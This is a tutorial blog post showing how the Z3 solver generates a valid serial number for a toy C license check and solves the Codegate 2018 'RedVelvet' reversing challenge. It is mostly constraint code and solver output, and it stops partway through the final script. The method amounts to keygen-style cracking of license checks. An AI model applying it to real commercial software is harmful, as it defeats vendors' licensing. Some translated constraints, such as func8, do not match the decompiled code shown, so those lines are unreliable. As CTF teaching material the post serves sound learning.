Below is just a very simple example of a, let’s say, “program” that validates
a Serial Number. Nowadays, serial numbers validation routines are way more
complex. But don’t get too surprised if you are still able to find software
that doesn’t do any online validation and have all the logic implemented in
the binary itself.

The idea here is just to show how Z3 can be used to generate a valid serial
number given a **known** checking algorithm. This is not often the case, at
most we might know what’s the format of the Serial Number that a program
expects. For example, the program tells you the SN is in the form `XXXXX-
XXXXX`. In theory, based on the information we have we can brute force the SN.
However, usually the program doesn’t accept only one single combination of
CHARs as a valid SN, but multiple valid combinations that must pass certain
validation routines.

So what happens most of the times, including in CTFs \(we’ll get there after
this example\), is we reverse the program, and we try to locate the code
that’s responsible to validate our serial number. From there we try to figure
what are the validations performed. In other words, what are the constraints.
Most of the times the algorithm is complex and trying to solve it manualy is
quite hard. That’s when an SMT solver can come in handy.

We’ll use a simple C program I wrote. The validation checks are very easy to
understand, that’s the idea. After this example we’ll see an example from a
CTF where we only have access to the binary itself so, we’ll also need to do
the reversing part.

Here’s the code.

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    void usage(char *progname)
    {
      printf("Usage: %s <serial number>\n", progname);
      printf("Serial Number is the in the form XXXXX-XXXXX\n");
      exit(0);
    }
    
    int is_digit(int d)
    {
      if(d >= 48 && d <= 57)
        return 1;
    
      return 0;
    }
    
    int is_char(int d)
    {
      if(d >= 65 && d <= 90)
        return 1;
    
      return 0;
    }
    
    int validate_sn(char *sn)
    {
      // constraint 0: the whole SN has 11 chars
      if (strlen(sn) != 11)
        return 0;
    
      // constraint 1: index below must be equal to '-'
      if(sn[5] != 45)
        return 0;
    
      // constraint 2: the first char of first XXXXX sequence must be 1 and first char of second XXXXX sequence must be 5 
      if(sn[0] != 49)
        return 0;
      if(sn[6] != 53)
        return 0;
    
      // constraint 3: 2nd char is a digit, 7th char is digit
      if(is_digit(sn[1]) != 1)
        return 0;
      if(is_digit(sn[7]) != 1)
        return 0;
    
      // constraint 4: 3rd and 8th chars are uper case letters
      if(is_char(sn[2]) != 1)
        return 0; 
      if(is_char(sn[8]) != 1)
        return 0;
    
      // constraint 5: last 2 chars of every XXXXX are numbers
      if(is_digit(sn[3]) != 1)
        return 0;
      if(is_digit(sn[4]) != 1)
        return 0;
      if(is_digit(sn[9]) != 1)
        return 0;
      if(is_digit(sn[10]) != 1)
        return 0;
    
      // constraint 6: the last 2 chars of every XXXXX sequence must be the same
      if(sn[3] != sn[4])
        return 0;
      if(sn[9] != sn[10])
        return 0;
    
      return 1;
    }
    
    int main(int argc, char *argv[])
    {
      char *serial = argv[1];
    
      if (argc < 2)
        usage(argv[0]);
    
      if (validate_sn(serial))
        printf("Thank You. Your license is now active.\n");
      else
        printf("Invalid Serial Number. Please try again.\n");
    
      return 0;
    }
[/code]

The constraints are clearly identified in the source code. So let’s see if we
can “ask” Z3 to give us a valid serial number. See below.

[code]

    #!/usr/bin/python
    import sys
    from z3 import *
    
    s = Solver()
    
    sn = IntVector('sn', 11)
    
    def is_valid(x):
      return Or(And(x >= 0x41, x <= 0x5a), And(x >= 0x30, x <= 0x39))
    
    for i in range(11):
      if (i != 5):
        s.add(is_valid(sn[i]))
    
    # constraint 1
    s.add(sn[5] == 0x2d)
    
    # constraint 2
    s.add(sn[0] == 0x31)
    s.add(sn[6] == 0x35)
    
    # constraint 3
    s.add(sn[1] >= 0x30, sn[1] <= 0x39)
    s.add(sn[7] >= 0x30, sn[7] <= 0x39)
    
    # constraint 4
    s.add(sn[2] >= 0x41, sn[2] <= 0x5a)
    s.add(sn[8] >= 0x41, sn[8] <= 0x5a)
    
    # constraint 5
    s.add(sn[3] >= 0x30, sn[3] <= 0x39)
    s.add(sn[4] >= 0x30, sn[4] <= 0x39)
    s.add(sn[9] >= 0x30, sn[9] <= 0x39)
    s.add(sn[10] >= 0x30, sn[10] <= 0x39)
    
    # constraint 6
    s.add(sn[3] == sn[4])
    s.add(sn[9] == sn[10])
    
    if s.check() == unsat:
      print "UNSAT"
      sys.exit()
    
    m = s.model()
    
    for x in m:
      print x, chr(m[x].as_long())
    
[/code]

And if we run it.

[code]

    $ time python sn.py | sort -V
    sn__0 1
    sn__1 0
    sn__2 A
    sn__3 0
    sn__4 0
    sn__5 -
    sn__6 5
    sn__7 0
    sn__8 A
    sn__9 0
    sn__10 0
    
    real    0m0.332s
    user    0m0.283s
    sys     0m0.032s
    
[/code]

We see that it found indeed a valid SN number according to the constraints we
have defined. If we go back, and we test our `serial_validation` binary with
the serial number that Z3 found for us, we get:

[code]

    $ gcc -o serial_validation serial_validation.c
    $ ./serial_validation
    Usage: ./serial_validation <serial number>
    Serial Number is the in the form XXXXX-XXXXX
    $ ./serial_validation 10A00-50A00
    Thank You. Your license is now active.
    
[/code]

This a very contrived example. Hopefully, you tried to solve it and you
\(didn’t\) struggled a bit and were forced to learn at least a little more.

Before we talk about symbolic execution, let’s try to solve a CTF challenge
where we also have to find a valid serial number. Well, find a flag. But, you
know what I mean.

### CTF challenge \(get the flag\)

We will try to solve a challenge from the Codegate CTF 2018 Preliminary Round,
more precisely the “RedVelvet” challenge \(Reversing category\).

We start by looking at the binary and run it.

[code]

    $ file RedVelvet
    RedVelvet: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=84e7ef91c33878cf9eefc00a7a450895aa573494, not stripped
    $ ./RedVelvet
    Your flag : aaa
    
[/code]

The \*nix strings utility only showed the interesting ASCII strings below. If
you want to see the whole output check here.

[code]

    HAPPINESS:)
    Your flag :
    flag : {" %s "}
    
[/code]

So I opened the binary in IDA and looked at the main function.

<img src='img/Temp2_6349.png' width='527' height='752' />

It calls printf with `"Your flag : "`, calls `_fgets` to read our input, and
then calls a bunch of functions always with the “same” parameters. These
functions \(func1, func2, funcX, …, func15\) are for sure validating the flag.

If I look inside `func1` for example I can see it performs manipulations and
comparisons based on the user input. If everything goes well the execution
will continue, otherwise the execution will stop and the program exits.

<img src='img/Temp2_6346.png' width='100%' height='729' />

This is when IDA Pro Hex-Rays’ decompiler comes in handy. I pressed `F5` to
see the pseudo-code.

<img src='img/Temp2_6348.png' width='469' height='155' />

Much better. If the checks pass, the string `HAPPINESS:)` is printed and the
code flows to the next function. If I look at `func2`, the story is the same.

<img src='img/Temp2_6347.png' width='349' height='161' />

And the story goes on for all the other 13 functions. I also looked at the
strings, even though as expected the solution is not there.

<img src='img/Temp2_6354.png' width='457' height='166' />

If I follow the highlighted string above, I will end in a basic block near the
end of the `main` function which will print the flag if I have provided the
correct input.

<img src='img/Temp2_6357.png' width='100%' height='577' />

This looks perfect for Z3, or even better for a symbolic execution framework.
Let’s stick with Z3 for now.

Well, we have everything we need to solve the challenge \(I hope\). So I’ll
copy all the pseudo code from the functions \(from `func1`, to `func15`\) and
translate it to Z3 constraints. I’ll start by simply replicating the functions
in Python, which receives 2 arguments each \(some will receive 3\). I’ll look
at the remaining work after that.

[code]

    """
    int __fastcall func1(char a1, char a2)
    {
      if ( a1 * 2 * (char)(a2 ^ a1) - a2 != 10858 )
        exit(1);
      if ( a1 <= 85 || a1 > 95 || a2 <= 96 || a2 > 111 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func1(a1, a2):
      s.add(a1 * 2 * (a2 ^ a1) - a2 == 10858)
      s.add(a1 > 85)
      s.add(a1 <= 95)
      s.add(a2 > 96 )
      s.add(a2 <= 111)
    
[/code]

Hopefully, that’s it. Note that I’m reversing the logic because if the
constraints above evaluate to true the program exits. And we’ll be doing the
same for another 14 functions. Whoever told you Reversing is fun, lied to you.
It’s actually quite boring, and persistence and patience are ‘the’ master
skill.

[code]

    """
    int __fastcall func2(char a1, char a2)
    {
      if ( a1 % a2 != 7 )
        exit(1);
      if ( a2 <= 90 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func2(a1, a2):
      s.add(a1 % a2 == 7)
      s.add(a2 > 90)
    
    
    """
    int __fastcall func3(char a1, char a2)
    {
      if ( a1 / a2 + (char)(a2 ^ a1) != 21 || a1 > 99 || a2 > 119 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func3(a1, a2):
      s.add(a1 / a2 + (a2 ^ a1) == 21)
      s.add(a1 <= 99 )
      s.add(a2 <= 119)
    
    
    """
    int __fastcall func4(char a1, char a2)
    {
      signed __int64 v2; // rtt@1
    
      LODWORD(v2) = (char)(a2 ^ a1 ^ a2);
      HIDWORD(v2) = (unsigned __int64)(char)(a2 ^ a1 ^ a2) >> 32;
      if ( (unsigned int)(v2 % a2) + a1 != 137 || a1 <= 115 || a2 > 99 || a2 != 95 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func4(a1, a2):
      v2 = a1 << 32 | a1
      s.add((v2 % a2) + a1 == 137)
      s.add(a1 > 115)
      s.add(a2 <= 99)
      s.add(a2 == 95)
    
    
    """
    int __fastcall func5(char a1, char a2)
    {
      if ( ((a2 + a1) ^ (char)(a1 ^ a2 ^ a1)) != 225 || a1 <= 90 || a2 > 89 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func5(a1, a2):
      s.add((a1 + a2) ^ a2 == 225)
      s.add(a1 > 90 )
      s.add(a2 <= 89 )
    
    
    """
    int __fastcall func6(char a1, char a2, char a3)
    {
      if ( a1 > a2 )
        exit(1);
      if ( a2 > a3 )
        exit(1);
      if ( a1 <= 85 || a2 <= 110 || a3 <= 115 || ((a2 + a3) ^ (a1 + a2)) != 44 || (a2 + a3) % a1 + a2 != 161 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func6(a1, a2, a3):
      s.add(a1 <= a2)
      s.add(a2 <= a3)
      s.add(a1 > 85)
      s.add(a2 > 110)
      s.add(a3 > 115)
      s.add(((a2 + a3) ^ (a1 + a2)) == 44)
      s.add(URem(a2 + a3, a1) + a2 == 161 ) # Use the function URem() for unsigned remainder, and SRem() for signed remainder. https://z3prover.github.io/api/html/classz3py_1_1_bit_vec_ref.html
    
    
    """
    int __fastcall func7(char a1, char a2, char a3)
    {
      if ( a1 < a2 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a1 > 119 || a2 <= 90 || a3 > 89 || ((a1 + a3) ^ (a2 + a3)) != 122 || (a1 + a3) % a2 + a3 != 101 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func7(a1, a2, a3):
      s.add(a1 >= a2)
      s.add(a2 >= a3)
      s.add(a1 <= 119)
      s.add(a2 > 90)
      s.add(a3 <= 89)
      s.add(((a1 + a3) ^ (a2 + a3)) == 122 )
      s.add(URem(a1 + a3,  a2) + a3 == 101)
    
    
    """
    int __fastcall func8(char a1, char a2, char a3)
    {
      if ( a1 > a2 )
        exit(1);
      if ( a2 > a3 )
        exit(1);
      if ( a3 > 114 || (a1 + a2) / a3 * a2 != 97 || (a3 ^ (a1 - a2)) * a2 != -10088 || a3 > 114 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func8(a1, a2, a3):
      s.add(a1 <= a2)
      s.add(a2 <= a3)
      s.add( a3 <= 114)
      s.add( UDiv(a1 + a2, a3) * a2 == 97 ) # Use the function UDiv() for unsigned division. https://z3prover.github.io/api/html/classz3py_1_1_bit_vec_ref.html
      s.add( a3 ^ (a1 - a2) == -8*13)
    
    
    """
    int __fastcall func9(char a1, char a2, char a3)
    {
      if ( a1 != a2 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a3 > 99 || a3 + a1 * (a3 - a2) - a1 != -1443 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func9(a1, a2, a3):
      s.add(a1 == a2)
      s.add(a2 >= a3)
      s.add(a3 <= 99)
      s.add(a3 + a1 * (a3 - a2) - a1 == -1443)
    
    
    """
    int __fastcall func10(char a1, char a2, char a3)
    {
      if ( a1 < a2 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a2 * (a1 + a3 + 1) - a3 != 15514 || a2 <= 90 || a2 > 99 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func10(a1, a2, a3):
      s.add(a1 >= a2)
      s.add(a2 >= a3)
      s.add(a2 * (a1 + a3 + 1) - a3 == 15514)
      s.add(a2 > 90)
      s.add(a2 <= 99)
    
    
    """
    int __fastcall func11(char a1, char a2, char a3)
    {
      if ( a2 < a1 )
        exit(1);
      if ( a1 < a3 )
        exit(1);
      if ( a2 <= 100 || a2 > 104 || a1 + (a2 ^ (a2 - a3)) - a3 != 70 || (a2 + a3) / a1 + a1 != 68 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func11(a1, a2, a3):
      s.add(a2 >= a1)
      s.add(a1 >= a3)
      s.add(a2 > 100)
      s.add(a2 <= 104)
      s.add(a1 + (a2 ^ (a2 - a3)) - a3 == 70)
      s.add(UDiv(a2 + a3, a1) + a1 == 68 )
    
    
    """
    int __fastcall func12(char a1, char a2, char a3)
    {
      if ( a1 < a2 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a2 > 59 || a3 > 44 || a1 + (a2 ^ (a3 + a2)) - a3 != 111 || (a2 ^ (a2 - a3)) + a2 != 101 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func12(a1, a2, a3):
      s.add(a1 >= a2)
      s.add(a2 >= a3)
      s.add(a2 <= 59)
      s.add(a3 <= 44)
      s.add(a1 + (a2 ^ (a3 + a2)) - a3 == 111)
      s.add((a2 ^ (a2 - a3)) + a2 == 101 )
    
    
    """
    int __fastcall func13(char a1, char a2, char a3)
    {
      if ( a1 > a2 )
        exit(1);
      if ( a2 > a3 )
        exit(1);
      if ( a1 <= 40 || a2 <= 90 || a3 > 109 || a3 + (a2 ^ (a3 + a1)) - a1 != 269 || (a3 ^ (a2 - a1)) + a2 != 185 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func13(a1, a2, a3):
      s.add(a1 <= a2)
      s.add(a2 <= a3)
      s.add(a1 > 40 )
      s.add(a2 > 90 )
      s.add(a3 <= 109)
      s.add(a3 + (a2 ^ (a3 + a1)) - a1 == 269)
      s.add((a3 ^ (a2 - a1)) + a2 == 185)
    
    
    """
    int __fastcall func14(char a1, char a2, char a3)
    {
      if ( a1 < a3 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a2 > 99 || a3 <= 90 || a1 + (a2 ^ (a2 + a1)) - a3 != 185 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func14(a1, a2, a3):
      s.add(a1 >= a3)
      s.add(a2 >= a3)
      s.add(a2 <= 99)
      s.add(a3 > 90)
      s.add(a1 + (a2 ^ (a2 + a1)) - a3 == 185 )
    
    
    """
    int __fastcall func15(char a1, char a2, char a3)
    {
      if ( a2 < a3 )
        exit(1);
      if ( a2 < a1 )
        exit(1);
      if ( a3 <= 95 || a2 > 109 || ((a2 - a1) * a2 ^ a3) - a1 != 1214 || ((a3 - a2) * a3 ^ a1) + a2 != -1034 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    """
    def func15(a1, a2, a3):
      s.add(a2 >= a3)
      s.add(a2 >= a1)
      s.add(a3 > 95)
      s.add( a2 <= 109)
      s.add(((a2 - a1) * a2 ^ a3) - a1 == 1214)
      s.add(((a3 - a2) * a3 ^ a1) + a2 == -1034)
    
[/code]

Ok, that was the easiest part.

If we decompile the `main` function, we can see the following code.

[code]

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char v3; // bl@0
      __int64 v4; // rax@1
      __int64 v5; // rcx@1
      __int64 v6; // rsi@2
      size_t v7; // rax@2
      char v9; // t1@8
      bool v10; // zf@8
      signed int i; // [sp+8h] [bp-1B8h]@2
      char v12; // [sp+50h] [bp-170h]@2
      char s; // [sp+C0h] [bp-100h]@1
      char v14; // [sp+C1h] [bp-FFh]@1
      char v15; // [sp+C2h] [bp-FEh]@1
      char v16; // [sp+C3h] [bp-FDh]@1
      char v17; // [sp+C4h] [bp-FCh]@1
      char v18; // [sp+C5h] [bp-FBh]@1
      char v19; // [sp+C6h] [bp-FAh]@1
      char v20; // [sp+C7h] [bp-F9h]@1
      char v21; // [sp+C8h] [bp-F8h]@1
      char v22; // [sp+C9h] [bp-F7h]@1
      char v23; // [sp+CAh] [bp-F6h]@1
      char v24; // [sp+CBh] [bp-F5h]@1
      char v25; // [sp+CCh] [bp-F4h]@1
      char v26; // [sp+CDh] [bp-F3h]@1
      char v27; // [sp+CEh] [bp-F2h]@2
      char v28; // [sp+CFh] [bp-F1h]@2
      char v29; // [sp+D0h] [bp-F0h]@2
      char v30; // [sp+D1h] [bp-EFh]@2
      char v31; // [sp+D2h] [bp-EEh]@2
      char v32; // [sp+D3h] [bp-EDh]@2
      char v33; // [sp+D4h] [bp-ECh]@2
      char v34; // [sp+D5h] [bp-EBh]@2
      char v35; // [sp+D6h] [bp-EAh]@2
      char v36; // [sp+D7h] [bp-E9h]@2
      char v37; // [sp+D8h] [bp-E8h]@2
      char v38; // [sp+D9h] [bp-E7h]@2
      char v39[32]; // [sp+E0h] [bp-E0h]@2
      char s1[80]; // [sp+100h] [bp-C0h]@3
      char s2[8]; // [sp+150h] [bp-70h]@1
      __int64 v42; // [sp+158h] [bp-68h]@1
      __int64 v43; // [sp+160h] [bp-60h]@1
      __int64 v44; // [sp+168h] [bp-58h]@1
      __int64 v45; // [sp+170h] [bp-50h]@1
      __int64 v46; // [sp+178h] [bp-48h]@1
      __int64 v47; // [sp+180h] [bp-40h]@1
      __int64 v48; // [sp+188h] [bp-38h]@1
      __int64 v49; // [sp+190h] [bp-30h]@1
      __int64 v50; // [sp+198h] [bp-28h]@1
      __int64 v51; // [sp+1A0h] [bp-20h]@1
      __int64 v52; // [sp+1A8h] [bp-18h]@1
      int v53; // [sp+1B0h] [bp-10h]@1
      __int64 v54; // [sp+1B8h] [bp-8h]@1
    
      v54 = *MK_FP(__FS__, 40LL);
      *(_QWORD *)s2 = 3905859155515433264LL;
      v42 = 3990529441497888818LL;
      v43 = 7017565014431380534LL;
      v44 = 3977633058323522358LL;
      v45 = 7364290724313116725LL;
      v46 = 3991705742141175652LL;
      v47 = 7363494672811320633LL;
      v48 = 3847534474596595814LL;
      v49 = 0LL;
      v50 = 0LL;
      v51 = 0LL;
      v52 = 0LL;
      v53 = 0;
      printf((const char *)&loc_4016CF + 1, argv, envp);
      fgets(&s, 27, edata);
      func1(s, v14);
      func2(v14, v15);
      func3(v15, v16);
      func4(v16, v17);
      func5(v17, v18);
      func6(v18, v19, v20);
      func7(v20, v21, v22);
      func8(v22, v23, v24);
      func9(v24, v25, v26);
      v4 = ptrace(0, 0LL, 1LL, 0LL);
      if ( v4 == -1 )
      {
        v9 = *(_BYTE *)v5;
        v10 = v3 + *(_BYTE *)(v5 + 111) == 0;
        *(_BYTE *)(v5 + 111) += v3;
        JUMPOUT(!v10, &unk_401746);
        v6C &= BYTE1(v4);
        JUMPOUT(*(_QWORD *)"ag : ");
      }
      func10(v26, v27, v28);
      func11(v28, v29, v30);
      func12(v30, v31, v32);
      func13(v32, v33, v34);
      func14(v34, v35, v36);
      v6 = (unsigned int)v37;
      func15(v36, v37, v38);
      SHA256_Init(&v12, v6);
      v7 = strlen(&s);
      SHA256_Update(&v12, &s, v7);
      SHA256_Final(v39, &v12);
      for ( i = 0; i <= 31; ++i )
        sprintf(&s1[2 * i], "%02x", (unsigned __int8)v39[i]);
      if ( strcmp(s1, s2) )
        exit(1);
      printf("flag : {\" %s \"}\n", &s);
      return 0;
    }
[/code]

If we look at the line where our input is read, we know that the flag is
supposed to have at maximum 27 chars \(including the final null terminator\).

[code]

    fgets(&s, 27, edata);
    
[/code]

It is also important to look at which chars are passed to each function. We
saw that some `funcX` functions receive 2 chars, other 3 chars. If we look at
the pseudo code of the function `main`, we can also figure which chars are
passed to each function.

So, anyway I need to define which chars I will accept as valid. I’ll consider
the following chars only. If for some reason I can’t get a solution, I’ll
expand it.

[code]

    0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_!@#$%^&*?:)(
    
[/code]

I add the following to my Z3 python script.

[code]

    def is_valid(x):
      return Or(And(x >= 65, x <= 90), And(x >= 97, x <= 122), And(x >= 48, x <= 57), And(x == 95), And(x == 33), And(x == 64), And(x == 35), And(x == 36), And(x == 37), And(x == 94), And(x == 38), And(x == 42), And(x == 63), And(x == 58), And(x == 40), And(x == 41))
    
    x = [ BitVec('a%i' % i, 32) for i in range(26) ]
    
    for i in range(26):
      s.add(is_valid(x[i]))
    
[/code]

As you can see above I create a `BitVec` and I initialize it. With size 26
because we saw the input string would take 26 chars above \(excluding the null
char terminator of `C` strings\).

Based on the logic I got from the `main` function pseudo code I add the
following to my Z3 python script.

[code]

    func1(x[0], x[1])
    func2(x[1], x[2])
    func3(x[2], x[3])
    func4(x[3], x[4])
    func5(x[4], x[5])
    func6(x[5], x[6], x[7])
    func7(x[7], x[8], x[9])
    func8(x[9], x[10], x[11])
    func9(x[11], x[12], x[13])
    func10(x[13], x[14], x[15])
    func11(x[15], x[16], x[17])
    func12(x[17], x[18], x[19])
    func13(x[19], x[20], x[21])
    func14(x[21], x[22], x[23])
    func15(x[23], x[24], x[25])
    
[/code]

And I should be ready to go. I only need to print the “solution”.

[code]

    if (s.check() == sat):
      solution = s.model()
      flag = ""
      for n in x:
          char = solution[n].as_long()
          flag += chr(char)
      print flag
    else:
      print "UNSAT: go back and check your constraints"
    
[/code]

If I run it.

[code]

    $ time python red_velvet.py
    What_You_Wanna_Be?:)_lc_la
    
    real    0m0.878s
    user    0m0.845s
    sys     0m0.032s
    
[/code]

Wow, apparently it works. It took me close to an hour to put this together but
the execution is really fast. Let’s validate the solution.

[code]

    $ ./RedVelvet
    Your flag : What_You_Wanna_Be?:)_lc_la
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    
[/code]

Hmm, we have 15 `HAPPINESS:)` strings printed but apparently the solution is
not the one expected. Why? If we look at the pseudo code of the main function
we’ll see that after all the validations a `SHA256` hash is computed and the
result apparently is different. Don’t panic. We know that solvers can give us
more than one valid solution.

What we need to do is ask Z3 to give as another satisfying model. If we don’t
want to find all possible solutions, and we are just feeling lazy we could do
something like this.

[code]

    while (s.check() == sat):
      solution = s.model()
      flag = ""
      for n in x:
          char = solution[n].as_long()
          flag += chr(char)
      print flag
      s.add(Or(solution != s.model()))
    else:
      print "UNSAT: go back and check your constraints"
    
[/code]

I’m not using any kind of finite sorts and this is not the proper way to do
it. But I can run it and just get another possible solution.

[code]

    $ python red_velvet.py
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    ^C
    
[/code]

However, what we should do is add a new constraint that blocks the model
returned by Z3. The solution below still has some limitations but should work
for us.

[code]

    while s.check() == sat:
      solution = s.model()
      block = []
      for d in solution:
        c = d()
        block.append(c != solution[d])
        flag = ""
        for n in x:
          char = solution[n].as_long()
          flag += chr(char)
        print flag
      s.add(Or(block))
    
[/code]

If we run it now.

[code]

    $ time python red_velvet.py
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_lc_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lb_la
    
    real    0m2.200s
    user    0m2.131s
    sys     0m0.060s
    
[/code]

Ok, let’s sort this.

[code]

    $ python red_velvet.py | sort -u
    What_You_Wanna_Be?:)_la_la
    What_You_Wanna_Be?:)_lb_la
    What_You_Wanna_Be?:)_lc_la
    
[/code]

Apparently we have 3 possible solutions \(actually more if we expand the
accepted charset\). Let’s try them and see if we are luckier this time, and we
don’t get stopped by the hash validation routine.

[code]

    $ ./RedVelvet
    Your flag : What_You_Wanna_Be?:)_la_la
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    flag : {" What_You_Wanna_Be?:)_la_la "}
    
[/code]

Cool. So `What_You_Wanna_Be?:)_la_la` is the solution, and the solver gave us
3 possible solutions. Keep this in mind.

The final version of the script is below.

[code]

    from z3 import *
    
    def func1(a1, a2):
      s.add(a1 * 2 * (a2 ^ a1) - a2 == 10858)
      s.add(a1 > 85)
      s.add(a1 <= 95)
      s.add(a2 > 96 )
      s.add(a2 <= 111)
    
    def func2(a1, a2):
      s.add(a1 % a2 == 7)
      s.add(a2 > 90)
    
    def func3(a1, a2):
      s.add(a1 / a2 + (a2 ^ a1) == 21)
      s.add(a1 <= 99 )
      s.add(a2 <= 119)
    
    def func4(a1, a2):
      v2 = a1 << 32 | a1
      s.add((v2 % a2) + a1 == 137)
      s.add(a1 > 115)
      s.add(a2 <= 99)
      s.add(a2 == 95)
    
    def func5(a1, a2):
      s.add((a1 + a2) ^ a2 == 225)
      s.add(a1 > 90 )
      s.add(a2 <= 89 )
    
    def func6(a1, a2, a3):
      s.add(a1 <= a2)
      s.add(a2 <= a3)
      s.add(a1 > 85)
      s.add(a2 > 110)
      s.add(a3 > 115)
      s.add(((a2 + a3) ^ (a1 + a2)) == 44)
      s.add(URem(a2 + a3, a1) + a2 == 161 ) # Use the function URem() for unsigned remainder, and SRem() for signed remainder. https://z3prover.github.io/api/html/classz3py_1_1_bit_vec_ref.html
    
    def func7(a1, a2, a3):
      s.add(a1 >= a2)
      s.add(a2 >= a3)
      s.add(a1 <= 119)
      s.add(a2 > 90)
      s.add(a3 <= 89)
      s.add(((a1 + a3) ^ (a2 + a3)) == 122 )
      s.add(URem(a1 + a3,  a2) + a3 == 101)
    
    def func8(a1, a2, a3):
      s.add(a1 <= a2)
      s.add(a2 <= a3)
      s.add( a3 <= 114)
      s.add( UDiv(a1 + a2, a3) * a2 == 97 ) # Use the function UDiv() for unsigned division. https://z3prover.github.io/api/html/classz3py_1_1_bit_vec_ref.html
      s.add( a3 ^ (a1 - a2) == -8*13)
    
    def func9(a1, a2, a3):
      s.add(a1 == a2)
      s.add(a2 >= a3)
      s.add(a3 <= 99)
      s.add(a3 + a1 * (a3 - a2) - a1 == -1443)
    
    def func10(a1, a2, a3):
      s.add(a1 >= a2)
      s.add(a2 >= a3)
      s.add(a2 * (a1 + a3 + 1) - a3 == 15514)
      s.add(a2 > 90)
      s.add(a2 <= 99)
    
    def func11(a1, a2, a3):
